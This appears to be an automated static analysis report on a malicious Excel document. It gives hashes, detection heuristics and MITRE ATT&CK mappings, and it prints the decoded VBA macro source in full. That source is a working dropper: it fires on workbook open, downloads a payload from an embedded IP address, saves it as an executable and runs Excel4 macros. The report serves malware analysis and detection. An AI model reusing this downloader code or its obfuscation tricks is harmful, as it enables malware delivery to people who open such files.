Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9dab3bd4f4f6bf96…

MALICIOUS

Office (OLE)

108.0 KB Created: 2019-07-18 19:19:14 Authoring application: Microsoft Excel First seen: 2019-12-09
MD5: d6438345c12dd000ff2d55a7a3b8ccb6 SHA-1: ae80da170a8340d306c96542055f388cade57fe0 SHA-256: 9dab3bd4f4f6bf966e07eb9f76f20b9bc54b9a56eca0df273a8665d46c3e9184
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel document containing a Workbook_Open VBA macro. This macro utilizes CreateObject and CallByName to launch a decoded Excel4 macro via ExecuteExcel4Macro. This staged execution is a common technique for downloading and running additional malicious payloads. The embedded URL is likely the source for this payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-7077937-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7077937-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set Class7.Rocky1 = CreateObject(Class7.TextBox1.Caption)
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    On Error Resume Next
CallByName Class5, "Show", VbMethod
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub WorkBook_open()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://27.102.70.196/k1 In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3342 bytes
SHA-256: 0f8d5393f732295ecb858d596155660fa6602c129079ec7d970b367fb929c19b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
On Error Resume Next
CallByName Class5, "Show", VbMethod



End Sub





Attribute VB_Name = "CodeBlock"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub MethodENG()
Dim time

 
 Set Class7.Rocky1 = CreateObject(Class7.TextBox1.Caption)
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")

ExecuteExcel4Macro "MESSAGE(False, ""Release"")"



Set Class7.Valaar1 = CreateObject(Class7.Label2.Tag)

Dim fUP:  fUP = 0
#If FR_9 Then

Dim DirectionComponent_5
Dim DirectionComponent_6
Dim DirectionComponent_7
Dim DirectionComponent_9
Dim DirectionComponent_8: DirectionComponent_8 = 8
#End If
Dim DirectionComponent_12

Dim DirectionComponent_11: DirectionComponent_11 = ""
Dim fDOWN:  fDOWN = 0
fDOWN = 1
fDOWN = 2
fDOWN = 3
fDOWN = 4
End Sub




Attribute VB_Name = "ClaModu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Sub PublicSub()

CodeBlock.MethodENG


Dim DirectionComponent_4
Dim DirectionComponent_3
Class7.Label5_Click
Class7.Rocky1.Send

With Class7.Valaar1
    .Type = 1
End With
    Class7.Valaar1.Open
With Class7.Valaar1
    .write Class7.Rocky1.responseBody

End With
#If FR_0 Then
    CallByName Class7.Valaar1, "savet" & "ofile", VbMethod, "wrnglr.e" & "" + "xe", 2

#End If

ExecuteExcel4Macro Class7.T10_Text.Text
ExecuteExcel4Macro "MESSAGE(False, ""Fix Marv"")"
End Sub


Attribute VB_Name = "Class7"
Attribute VB_Base = "0{BCDF87D8-10FE-4A45-9037-E1DA98118387}{A67BF4E4-00B4-417B-8495-74F7DD38C327}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Rocky2 As Object
 Public Valaar3 As Object
Public Rocky1 As Object
 Public Valaar2 As Object
Public Rocky3 As Object
 Public Valaar1 As Object


Public Sub Label5_Click()
Dim DirectionComponent_5
Rocky1.Open Me.Label3.Caption, Me.T10_Text.Tag, False
Dim DirectionComponent_6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub



Attribute VB_Name = "Class5"
Attribute VB_Base = "0{91950FA9-49B3-4930-930C-C2569C5DA979}{FF977004-D6B6-4519-B08E-2136C0F2ABC7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub FUnt()
Dim rd1 As New ClaModu
rd1.PublicSub

End Sub

Private Sub UserForm_Initialize()

FUnt
Unload Me
End Sub

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